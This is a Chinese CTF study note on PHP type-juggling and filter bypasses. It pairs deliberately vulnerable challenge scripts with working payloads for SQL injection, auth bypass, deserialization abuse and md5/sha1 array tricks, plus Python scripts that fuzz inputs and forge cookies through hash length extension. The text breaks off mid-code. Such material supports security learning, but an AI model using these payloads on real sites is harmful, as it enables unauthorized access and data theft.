• CTF-php特性绕过

    注意：null==0 正确

    null==flase 错误

    Extract变量覆盖

    2.  
    3. $flag='xxx'; 
    4. extract($_GET);
    5.  if(isset($shiyan))
    6.  { 
    7.     $content=trim(file_get_contents($flag));//trim移除引号
    8.     if($shiyan==$content)
    9.     { 
    10.         echo'ctf{xxx}'; 
    11.     }
    12.    else
    13.    { 
    14.     echo'Oh.no';
    15.    } 
    16.    }
    17.  
    18. ?>

    extract() 函数从数组中将变量导入到当前的符号表。

    该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量。

    exp

    exp:?shiyan=&flag=1

    避免

    使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突，不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.

    过滤空白字符与is_numeric

    1. <?php
    2.  
    3. $info = ""; 
    4. $req = [];
    5. $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
    6.  
    7. ini_set("display_error", false); //为一个配置选项设置值
    8. error_reporting(0); //关闭所有PHP错误报告
    9.  
    10. if(!isset($_GET['number'])){
    11.    header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
    12.  
    13.    die("have a fun!!"); //die — 等同于 exit()
    14.  
    15. }
    16.  
    17. foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    18.     foreach($global_var as $key => $value) { 
    19.         $value = trim($value);  //trim — 去除字符串首尾处的空白字符（或者其他字符）
    20.         is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串，addslashes — 使用反斜线引用字符串
    21.     } 
    22. } 
    23.  
    24.  
    25. function is_palindrome_number($number) { 
    26.     $number = strval($number); //strval — 获取变量的字符串值
    27.     $i = 0; 
    28.     $j = strlen($number) - 1; //strlen — 获取字符串长度
    29.     while($i < $j) { 
    30.         if($number[$i] !== $number[$j]) { 
    31.             return false; 
    32.         } 
    33.         $i++; 
    34.         $j--; 
    35.     } 
    36.     return true; 
    37. } 
    38.  
    39.  
    40. if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
    41. {
    42.  
    43.    $info="sorry, you cann't input a number!";
    44.  
    45. }
    46. elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
    47. {
    48.  
    49.      $info = "number must be equal to it's integer!! ";  
    50.  
    51. }
    52. else
    53. {
    54.  
    55.      $value1 = intval($req["number"]);
    56.      $value2 = intval(strrev($req["number"]));  
    57.  
    58.      if($value1!=$value2){
    59.           $info="no, this is not a palindrome number!";
    60.      }
    61.      else
    62.      {
    63.  
    64.           if(is_palindrome_number($req["number"])){
    65.               $info = "nice! {$value1} is a palindrome number!"; 
    66.           }
    67.           else
    68.           {
    69.              $info=$flag;
    70.           }
    71.      }
    72.  
    73. }
    74.  
    75. echo $info;
    • \f c语言中，\f(%0c)是换页的意思，因此有着当空白字符的能力
    • %00 截断 %00在c语言中是结束的最后字符

    解题思路

    1. 首先第一点是需要绕过判断的函数is_numeric($_REQUEST），可以使用%00截断，也可以先使用get传参，后使用post覆盖。具体去了解request穿参。

    https://www.cnblogs.com/miyeah/p/4005269.html

    1. 要求 $req['number']==strval(intval($req['number']))//十进制转换成字符串
    2. 要求intval($req['number']) == intval(strrev($req['number']))//strrev 反转字符串
    3. is_palindrome_number()返回False，这个条件只要在一个回文数比如191前面加一个字符即可实现
    1. import requests
    2. for i in range(256):
    3.     rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
    4.     if '1' in rq.text:
    5.         print "%%%02X"%i

    %%%02x 前两个百分号是输出一个百分号，第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。

    fuzz的结果

    1. %0C
    2. %2B
    2.  
    3. error_reporting(0);
    4. $flag = "flag{test}";
    5.  
    6. $temp = $_GET['password'];
    7. is_numeric($temp)?die("no numeric"):NULL;    
    8. if($temp>1336){
    9.     echo $flag;
    10. } 
    11.  
    12. ?>

    temp=1337a

    多重加密

    2.     include 'common.php';
    3.     $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    4.     //把一个或多个数组合并为一个数组
    5.     class db
    6.     {
    7.         public $where;
    8.         function __wakeup()
    9.         {
    10.             if(!empty($this->where))
    11.             {
    12.                 $this->select($this->where);
    13.             }
    14.         }
    15.         function select($where)
    16.         {
    17.             $sql = mysql_query('select * from user where '.$where);
    18.             //函数执行一条 MySQL 查询。
    19.             return @mysql_fetch_array($sql);
    20.             //从结果集中取得一行作为关联数组，或数字数组，或二者兼有返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false
    21.         }
    22.     }
    23.  
    24.     if(isset($requset['token']))
    25.     //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    26.     {
    27.         $login = unserialize(gzuncompress(base64_decode($requset['token'])));
    28.         //gzuncompress:进行字符串压缩
    29.         //unserialize: 将已序列化的字符串还原回 PHP 的值
    30.  
    31.         $db = new db();
    32.         $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
    33.         //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    34.  
    35.         if($login['user'] === 'ichunqiu')
    36.         {
    37.             echo $flag;
    38.         }else if($row['pass'] !== $login['pass']){
    39.             echo 'unserialize injection!!';
    40.         }else{
    41.             echo "(╯‵□′)╯︵┴─┴ ";
    42.         }
    43.     }else{
    44.         header('Location: index.php?error=1');
    45.     }
    46.  
    47. ?>

    token的加密，对token进行base64解密然后压缩，最后反序列化。

    自然我们可以先进行序列化然后压缩，最后base64加密。

    当然，我们需要让token的user属性是ichunqiu，于是就有了

    2.  
    3. $arr = array(['user'] === 'ichunqiu');
    4. $token = base64_encode(gzcompress(serialize($arr)));
    5. print_r($token);
    6. // echo $token;
    7.  
    8. ?>

    eJxLtDK0qs60MrBOAuJaAB5uBBQ=

    ereg和strops

    1.  
    2.  
    3. $flag = "flag";
    4.  
    5. if (isset ($_GET['password'])) 
    6. {
    7.   if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    8.   {
    9.     echo '
      You password must be alphanumeric
      '      ;
    10.   }
    11.   else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    12.    {
    13.      if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
    14.       {
    15.       die('Flag: ' . $flag);
    16.       }
    17.       else
    18.       {
    19.         echo('
      *-* have not been found
      '      ); 
    20.        }
    21.       }
    22.      else 
    23.      {
    24.         echo '
      Invalid password
      '      ; 
    25.       }
    26.    } 
    27. ?>

    ?password=1e9%00*_*

    https://blog.csdn.net/Xxy605/article/details/109908059

    2.  
    3. $flag = "flag";
    4.  
    5.     if (isset ($_GET['nctf'])) {
    6.         if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
    7.             echo '必须输入数字才行';
    8.         else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
    9.             die('Flag: '.$flag);
    10.         else
    11.             echo '骚年，继续努力吧啊~';
    12.     }
    13.  
    14.  ?>

    • strpos()找的是字符串,那么传一个数组给它,就是null，null!==flasenctf[]=

    那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

    • 字符串截断,利用ereg()的NULL截断漏洞，绕过正则过滤,注意将#编码，不进行url编码会当作分隔符

    https://blog.csdn.net/liu943367080/article/details/97130559

    1.   
    2.  
    3. $flag = "flag";  
    4.    
    5. if (isset ($_GET['password'])) {  
    6.     if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
    7.         echo 'You password must be alphanumeric';  
    8.     else if (strpos ($_GET['password'], '--') !== FALSE)  
    9.         die('Flag: ' . $flag);  
    10.     else  
    11.         echo 'Invalid password';  
    12. }  
    13. ?>

    strcmp比较字符串

    2. $flag = "flag";
    3. if (isset($_GET['a'])) {  
    4.     if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果两者相等，返回 0。 
    5.  
    6.     //比较两个字符串（区分大小写） 
    7.         die('Flag: '.$flag);  
    8.     else  
    9.         print 'No';  
    10. }
    11.  
    12. ?>

    ?a[]=1

    使用：php<5.3的时候，传入非字符数也会报错

    传入的期望类型是字符串类型的数据，但是如果我们传入非字符串类型的数据的时候，这个函数将会有怎么样的行为呢？实际上，当这个函数接受到了不符合的类型，这个函数将发生错误

    sha()函数比较绕过

    2.  
    3. $flag = "flag";
    4.  
    5. if (isset($_GET['name']) and isset($_GET['password'])) 
    6. {
    7.     if ($_GET['name'] == $_GET['password'])
    8.         echo '
      Your password can not be your name!
      '      ;
    9.     else if (sha1($_GET['name']) === sha1($_GET['password']))
    10.       die('Flag: '.$flag);
    11.     else
    12.         echo '
      Invalid password.
      '      ;
    13. }
    14. else
    15.     echo '
      Login first!
      '      ;
    16. ?>

    sha1()函数和md5()函数存在着漏洞，sha1()函数默认的传入参数类型是字符串型，那要是给它传入数组呢会出现错误，使sha1()函数返回错误，也就是返回false，这样一来===运算符就可以发挥作用了，需要构造username和password既不相等，又同样是数组类型

    所以payload：?name[]=a&password[]=b

    session绕过

    2.  
    3. $flag = "flag";
    4.  
    5. session_start(); 
    6. if (isset ($_GET['password'])) {
    7.     if ($_GET['password'] == $_SESSION['password'])
    8.         die ('Flag: '.$flag);
    9.     else
    10.         print '
      Wrong guess.
      '      ;
    11. }
    12. mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    13. ?>

    删除cookies或者删除cookies的值,同时把password的值置空

    密码比较md5绕过

    2.  
    3. //配置数据库
    4. if($_POST[user] && $_POST[pass]) {
    5.     $conn = mysql_connect("********, "*****", "********");
    6.     mysql_select_db("phpformysql") or die("Could not select database");
    7.     if ($conn->connect_error) {
    8.         die("Connection failed: " . mysql_error($conn));
    9. } 
    11. //赋值
    13. $user = $_POST[user];
    14. $pass = md5($_POST[pass]);
    16. //sql语句
    18. // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 
    20. // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
    22. $sql = "select pw from php where user='$user'";
    23. $query = mysql_query($sql);
    24. if (!$query) {
    25.     printf("Error: %s\n", mysql_error($conn));
    26.     exit();
    27. }
    28. $row = mysql_fetch_array($query, MYSQL_ASSOC);
    29. //echo $row["pw"];
    31.   if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    33. //如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。
    36.     echo "
      Logged in! Key:************** 
      ";
    37. }
    38. else {
    39.     echo("
      Log in failure!
      ");
    41.   }
    42. }
    43. ?>

    ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

    二次编码绕过

    2. if(eregi("hackerDJ",$_GET[id])) {
    3.   echo("
      not allowed!
      "      );
    4.   exit();
    5. }
    6.  
    7. $_GET[id] = urldecode($_GET[id]);
    8. if($_GET[id] == "hackerDJ")
    9. {
    10.   echo "
      Access granted!
      "      ;
    11.   echo "
      flag: *****************} 
      "      ;
    12. }
    13. ?>

    因为get传参以后会自动进行一次url编码，所以一共要两次

    sql特殊绕过

    闭合绕过

    2.  
    3.  
    4. if($_POST[user] && $_POST[pass]) {
    5.     $conn = mysql_connect("*******", "****", "****");
    6.     mysql_select_db("****") or die("Could not select database");
    7.     if ($conn->connect_error) {
    8.         die("Connection failed: " . mysql_error($conn));
    9. } 
    10. $user = $_POST[user];
    11. $pass = md5($_POST[pass]);
    12.  
    13. //select user from php where (user='admin')#
    14.  
    15. //exp:admin')#
    16.  
    17. $sql = "select user from php where (user='$user') and (pw='$pass')";
    18. $query = mysql_query($sql);
    19. if (!$query) {
    20.     printf("Error: %s\n", mysql_error($conn));
    21.     exit();
    22. }
    23. $row = mysql_fetch_array($query, MYSQL_ASSOC);
    24. //echo $row["pw"];
    25.   if($row['user']=="admin") {
    26.     echo "
      Logged in! Key: *********** 
      "      ;
    27.   }
    28.  
    29.   if($row['user'] != "admin") {
    30.     echo("
      You are not admin!
      "      );
    31.   }
    32. }
    33.  
    34. ?>

    admin')#

    with ROLLUP绕过

    2. error_reporting(0);
    3.  
    4. if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    5.     echo '
      '."
      "      ;
    6.     echo ''."
      "      ;
    7.     echo ''."
      "      ;
    8.     echo ''."
      "      ;
    9.     echo ''."
      "      ;
    10.     echo ''."
      "      ;
    11.     die;
    12. }
    13.  
    14. function AttackFilter($StrKey,$StrValue,$ArrReq){  
    15.     if (is_array($StrValue)){
    16.  
    17. //检测变量是否是数组
    18.  
    19.         $StrValue=implode($StrValue);
    20.  
    21. //返回由数组元素组合成的字符串
    22.  
    23.     }
    24.     if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
    25.  
    26. //匹配成功一次后就会停止匹配
    27.  
    28.         print "水可载舟，亦可赛艇！";
    29.         exit();
    30.     }
    31. }
    32.  
    33. $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    34. foreach($_POST as $key=>$value){ 
    35.  
    36. //遍历数组
    37.  
    38.     AttackFilter($key,$value,$filter);
    39. }
    40.  
    41. $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    42. if (!$con){
    43.     die('Could not connect: ' . mysql_error());
    44. }
    45. $db="XXXXXX";
    46. mysql_select_db($db, $con);
    47.  
    48. //设置活动的 MySQL 数据库
    49.  
    50. $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    51. $query = mysql_query($sql); 
    52.  
    53. //执行一条 MySQL 查询
    54.  
    55. if (mysql_num_rows($query) == 1) { 
    56.  
    57. //返回结果集中行的数目
    58.  
    59.     $key = mysql_fetch_array($query);
    60.  
    61. //返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false
    62.  
    63.     if($key['pwd'] == $_POST['pwd']) {
    64.         print "CTF{XXXXXX}";
    65.     }else{
    66.         print "亦可赛艇！";
    67.     }
    68. }else{
    69.     print "一颗赛艇！";
    70. }
    71. mysql_close($con);
    72. ?>

    admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

    https://blog.csdn.net/qq_35078631/article/details/54772798

    offset 1表示跳过一条数据

    Desc(反引号)

    2. require("config.php");
    3. $table = $_GET['table']?$_GET['table']:"test";
    4. $table = Filter($table);
    5. mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    6. $sql = "select 'flag{xxx}' from secret_{$table}";
    7. $ret = sql_query($sql);
    8. echo $ret[0];
    9. ?>

    https://blog.csdn.net/shuteer_xu/article/details/107478640

    ctf@localhost

    查表，查列的时候，数据库名使用16进制

    `flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`

    有版本限制的。

    or绕过

    2.  
    3. #GOAL: login as admin,then get the flag;
    4. error_reporting(0);
    5. require 'db.inc.php';
    6.  
    7. function clean($str){
    8.     if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
    9.         $str=stripslashes($str); //返回一个去除转义反斜线后的字符串（\' 转换为 ' 等等）。双反斜线（\\）被转换为单个反斜线（\）。 
    10.     }
    11.     return htmlentities($str, ENT_QUOTES);
    12. }
    13.  
    14. $username = @clean((string)$_GET['username']);
    15. $password = @clean((string)$_GET['password']);
    16.  
    17. //$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
    18.  
    19. $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
    20. $result=mysql_query($query);
    21. if(!$result || mysql_num_rows($result) < 1){
    22.     die('Invalid password!');
    23. }
    24.  
    25. echo $flag;
    26.  
    27. ?>

    $query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

    ?username=admin\'\' AND pass=\''or 1 #&password=

    闭合重构造

    //select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

    xff绕过指定ip地址

    2. function GetIP(){
    3. if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    4.     $cip = $_SERVER["HTTP_CLIENT_IP"];
    5. else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    6.     $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    7. else if(!empty($_SERVER["REMOTE_ADDR"]))
    8.     $cip = $_SERVER["REMOTE_ADDR"];
    9. else
    10.     $cip = "0.0.0.0";
    11. return $cip;
    12. }
    13.  
    14. $GetIPs = GetIP();
    15. if ($GetIPs=="1.1.1.1"){
    16. echo "Great! Key is *********";
    17. }
    18. else{
    19. echo "错误！你的IP不在访问列表之内！";
    20. }
    21. ?>

    md5加密绕过

    2.  
    3. $md51 = md5('QNKCDZO');
    4. $a = @$_GET['a'];
    5. $md52 = @md5($a);
    6. if(isset($a)){
    7. if ($a != 'QNKCDZO' && $md51 == $md52) {
    8.     echo "nctf{*****************}";
    9. } else {
    10.     echo "false!!!";
    11. }}
    12. else{echo "please input a";}
    13.  
    14. ?>

    0=0

    2. error_reporting(0);
    3. $flag = 'flag{test}';
    4. if (isset($_GET['username']) and isset($_GET['password'])) {
    5.     if ($_GET['username'] == $_GET['password'])
    6.         print 'Your password can not be your username.';
    7.     else if (md5($_GET['username']) === md5($_GET['password']))
    8.         die('Flag: '.$flag);
    9.     else
    10.         print 'Invalid password';
    11. }
    12. ?>

    强等于只能用数组绕过

    ?username[]=1&password[]=2，每次得出来的都是null

    2.  
    3. error_reporting(0);
    4. $flag = 'flag{test}';
    5. $temp = $_GET['password'];
    6. if(md5($temp)==0){
    7.     echo $flag;
    8. }
    9.  
    10. ?>
    • Password 置空，null==0 是true
    • 0e开头

    md5加密的sql注入

    1.  
    2. error_reporting(0);
    3. $link = mysql_connect('localhost', 'root', 'root');
    4. if (!$link) { 
    5.   die('Could not connect to MySQL: ' . mysql_error()); 
    6. } 
    7. // 选择数据库
    8. $db = mysql_select_db("security", $link);
    9. if(!$db)
    10. {
    11.   echo 'select db error';
    12.   exit();
    13. }
    14. // 执行sql
    15. $password = $_GET['password'];
    16. $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
    17. var_dump($sql);
    18. $result=mysql_query($sql) or die('
      ' . mysql_error() . '
      '       );
    19. $row1 = mysql_fetch_row($result);
    20. var_dump($row1);
    21. mysql_close($link);
    22. ?>

    https://www.cnblogs.com/beijibing/p/10393526.html

    interval函数四舍五入

    2.  
    3. if($_GET[id]) {
    4.    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    5.   mysql_select_db(SAE_MYSQL_DB);
    6.   $id = intval($_GET[id]);
    7.   $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
    8.   if ($_GET[id]==1024) {
    9.       echo "
      no! try again
      "      ;
    10.   }
    11.   else{
    12.     echo($query[content]);
    13.   }
    14. }
    15.  
    16. ?>

    1024.1

    四舍五入绕过最基本的if判断

    十六进制与数字比较

    2.  
    3. error_reporting(0);
    4. function noother_says_correct($temp)
    5. {
    6.     $flag = 'flag{test}';
    7.     $one = ord('1');  //ord — 返回字符的 ASCII 码值
    8.     $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    9.     $number = '3735929054';
    10.     // Check all the input characters!
    11.     for ($i = 0; $i < strlen($number); $i++)
    12.     { 
    13.         // Disallow all the digits!
    14.         $digit = ord($temp{$i});
    15.         if ( ($digit >= $one) && ($digit <= $nine) )
    16.         {
    17.             // Aha, digit not allowed!
    18.             return "flase";
    19.         }
    20.     }
    21.     if($number == $temp)
    22.         return $flag;
    23. }
    24. $temp = $_GET['password'];
    25. echo noother_says_correct($temp);
    26.  
    27. ?>

    这里，它不让输入1到9的数字，但是后面却让比较一串数字，平常的方法肯定就不能行了，大家都知道计算机中的进制转换，当然也是可以拿来比较的，0x开头则表示16进制，将这串数字转换成16进制之后发现，是deadc0de，在开头加上0x，代表这个是16进制的数字，然后再和十进制的

    3735929054比较，答案当然是相同的，返回true拿到flag

    echo dechex ( 3735929054 ); // 将3735929054转为16进制

    结果为：deadc0de

    构造：

    http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

    数字验证正则绕过

    2. error_reporting(0);
    3. $flag = 'flag{test}';
    4. if  ("POST" == $_SERVER['REQUEST_METHOD']) 
    5. { 
    6.     $password = $_POST['password']; 
    7.     if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    8.     { 
    9.         echo 'Wrong Format'; 
    10.         exit; 
    11.     } 
    12.     while (TRUE) 
    13.     { 
    14.         $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
    15.         if (6 > preg_match_all($reg, $password, $arr)) 
    16.             break; 
    17.         $c = 0; 
    18.         $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
    19.         foreach ($ps as $pt) 
    20.         { 
    21.             if (preg_match("/[[:$pt:]]+/", $password)) 
    22.                 $c += 1; 
    23.         } 
    24.         if ($c < 3) break; 
    25.         //>=3，必须包含四种类型三种与三种以上
    26.         if ("42" == $password) echo $flag; 
    27.         else echo 'Wrong password'; 
    28.         exit; 
    29.     } 
    30. }
    31.  
    32. ?>

    0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

    意为必须是12个字符以上（非空格非TAB之外的内容）

    $password分成连续的符号punct或者数字digit或者大写upper或者小写lower能分成6段以上

    而且必须要有大小写字母，数字，字符内容三种与三种以上，最后还要等于42

    1. 42.00e+00000000000 
    2. 或
    3. 42.Hell0dddddddddd

    switch没有break

    2.  
    3. error_reporting(0);
    4.  
    5. if (isset($_GET['which']))
    6. {
    7.     $which = $_GET['which'];
    8.     if ($which===0||$which===1||$which===2)
    9.         die("no,no,no,no");
    10.     switch ($which)
    11.     {
    12.     case 0:
    13.     case 1:
    14.     case 2:
    15.         require_once $which.'.php';
    16.          echo $flag;
    17.         break;
    18.     default:
    19.         echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
    20.         break;
    21.     }
    22. }
    23.  
    24. ?>

    https://zhidao.baidu.com/question/336186893.html

    输入任意字符串即可

    反序列化

    unserialize()会忽略多余的字符

    2.  
    3.         require_once('shield.php');
    4.         $x = new Shield();
    5.         isset($_GET['class']) && $g = $_GET['class'];
    6.         if (!empty($g)) {
    7.                 $x = unserialize($g);
    8.         }
    9.         echo $x->readfile();
    10. ?>
    11. "showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
    12.  
    14.  
    16.         //flag is in pctf.php
    17.         class Shield {
    18.                 public $file;
    19.                 function __construct($filename = '') {
    20.                         $this -> file = $filename;
    21.                 }
    22.                 
    23.                 function readfile() {
    24.                         if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    25.                         && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    26.                                 return @file_get_contents($this->file);
    27.                         }
    28.                 }
    29.         }
    30. ?>
    31.  
    34.         $f = $_GET['img'];
    35.         if (!empty($f)) {
    36.                 $f = base64_decode($f);
    37.                 if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
    38.                 //stripos — 查找字符串首次出现的位置（不区分大小写）
    39.                 && stripos($f,'pctf')===FALSE) {
    40.                         readfile($f);
    41.                 } else {
    42.                         echo "File not found!";
    43.                 }
    44.         }
    45. ?>
    3.  
    4. require_once('shield.php');
    5. $x = new Shield();
    6. $g = serialize($x);
    7. echo $g;
    8.  
    9. ?>
    10.  
    13.     //flag is in pctf.php
    14.     class Shield {
    15.         public $file;
    16.         function __construct($filename = 'pctf.php') {
    17.             $this -> file = $filename;
    18.         }
    19.         
    20.         function readfile() {
    21.             if (!empty($this->file) && stripos($this->file,'..')===FALSE  
    22.             && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
    23.                 return @file_get_contents($this->file);
    24.             }
    25.         }
    26.     }
    27. ?>

    得到：O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

    反序列化逃逸

    2. function filter($str){
    3.     return str_replace('bb', 'ccc', $str);
    4. }
    5. class A{
    6.     public $name='aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
    7.     public $pass='123456';
    8. }
    9. $AA=new A();
    10. $res=filter(serialize($AA)."\n");
    11.  
    12. echo $res;
    13. $c=unserialize($res);
    14.  
    15. var_dump($c);
    16. ?>

    直接能造成逃逸

    哈希长度拓展攻击

    4. Web <span class="hljs-number">350</span>
    7.  
    9.         
    10.                 $auth = false;
    11.                 $role = "guest";
    12.                 $salt =
    13.                 if (isset($_COOKIE["role"])) {
    14.                         $role = unserialize($_COOKIE["role"]);
    15.                         $hsh = $_COOKIE["hsh"];
    16.                         if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
    17. // strrev返回 string 反转后的字符串。 
    18.                          {
    19.                                 $auth = true;
    20.                         } else {
    21.                                 $auth = false;
    22.                         }
    23.                 } else {
    24.                         $s = serialize($role);
    25.                         setcookie('role',$s);
    26.                         $hsh = md5($salt.strrev($s));
    27.                         setcookie('hsh',$hsh);
    28.                 }
    29.                 if ($auth) {
    30.                         echo "
      Welcome Admin. Your flag is 
    31.                 } else {
    32.                         echo "
      Only Admin can see the flag!!
      ";
    33.                 }
    34.         ?>
    35.

    https://www.cnblogs.com/Cl0ud/p/13380114.html

    所以我们需要突破的是

    $role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))

    先看后面的比较

    左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值

    右边是使用盐值和反转后的传过去的role值连接后，并进行md5加密的结果，需要与$hsh相等

    这里看上去是无懈可击的，虽然我们可以传递hsh和role的值，但是因为我们不知道盐值，所以得到的md5很难凭猜或者爆破来令其与hsh相等。

    但是如MD5,SHA1, SHA2等，都是基于Merkle–Damgård结构，而这类算法的问题在于：如果你知道加密前的原文，和加密后的密文，只需要再知道盐值的长度，就能在原文后面添加信息并计算出相应的密文。

    在pcat的博文中介绍过应用场景为

    如果一个应用程序是这样操作的：

    1. 准备了一个密文和一些数据构造成一个字符串里，并且使用了MD5之类的哈希函数生成了一个哈希值（也就是所谓的signature/签名）

    2. 让攻击者可以提交数据以及哈希值，虽然攻击者不知道密文

    3. 服务器把提交的数据跟密文构造成字符串，并经过哈希后判断是否等同于提交上来的哈希值

    这个时候，该应用程序就易受长度扩展攻击

    另外，只有盐值在前，原文在后，才可以用hash长度扩展攻击。

    预测得到的是：

    md5（盐+原文+填充+恶意扩充）

    哈希长度扩展攻击我们通常使用HashPump进行利用

    HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具，支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响，因其部分避免了对状态变量的输出，并不输出全部的状态变量。

    1. git clone https://github.com/bwall/HashPump
    2. apt-get install g++ libssl-dev
    3. cd HashPump
    4. make
    5. make install

    我们先进行抓包

    这里还利用了PHP反序列化unserialize的一个特性，即unserialize()会忽略多余的字符

    例如：

    2. $s = 's:5:"admin"; s:5:"guest";';
    3. echo unserialize($s);
    4. ?>

    可以看到，后面的guest被忽略了，没有进行反序列化，而是被忽略了，这也是我们使用填充字符进行哈希长度扩展攻击的关键。

    另外我们虽然不知道盐值的长度，但是我们可以进行逐个尝试

    将获得的结果反序后重放

    1. import requests,hashpumpy,urllib
    2.  
    3. def attack():
    4.     url = 'http://web.jarvisoj.com:32778/'
    5.  
    6.     old_cookie = '3a4727d57463f122833d9e732f94e4e0'
    7.     str1 = 's:5:"guest";'
    8.     str2 = 's:5:"admin";'
    9.     str1 = str1[::-1]                           #倒过来,这道题要role的值反过来求md5
    10.     str2 = str2[::-1]
    11.  
    12.     for i in range(1,20):                       #用于爆破salt的长度
    13.         new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)
    14.         payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie}           #quote()可以把 \x00 变成 %00
    15.         ans = requests.get(url,cookies = payload)
    16.         print(i)
    17.         print(ans.text)
    18.         if 'flag' in ans.text:
    19.             print(ans.text)
    20. #print(urllib.parse.quote('\x00'))
    21. attack()

    数组提交绕过逻辑

    2. $role = "guest";
    3. $flag = "flag{test_flag}";
    4. $auth = false;
    5. if(isset($_COOKIE["role"])){
    6.     $role = unserialize(base64_decode($_COOKIE["role"]));
    7.     if($role === "admin"){
    8.         $auth = true;
    9.     }
    10.     else{
    11.         $auth = false;
    12.     }
    13. }
    14. else{
    15.     $role = base64_encode(serialize($role));
    16.     setcookie('role',$role);
    17. }
    18. if($auth){
    19.     if(isset($_POST['filename'])){
    20.         $filename = $_POST['filename'];
    21.         $data = $_POST['data'];
    22.         if(preg_match('[<>?]', $data)) {
    23.             die('No No No!'.$data);
    24.         }
    25.         else {
    26.             $s = implode($data);
    27.             if(!preg_match('[<>?]', $s)){
    28.                 $flag='None.';
    29.             }
    30.             $rand = rand(1,10000000);
    31.             $tmp="./uploads/".md5(time() + $rand).$filename;
    32.             file_put_contents($tmp, $flag);
    33.             echo "your file is in " . $tmp;
    34.         }
    35.     }
    36.     else{
    37.         echo "Hello admin, now you can upload something you are easy to forget.";
    38.         echo "
      there are the source.
      "      ;
    39.         echo '';
    40.     }
    41. }
    42. else{
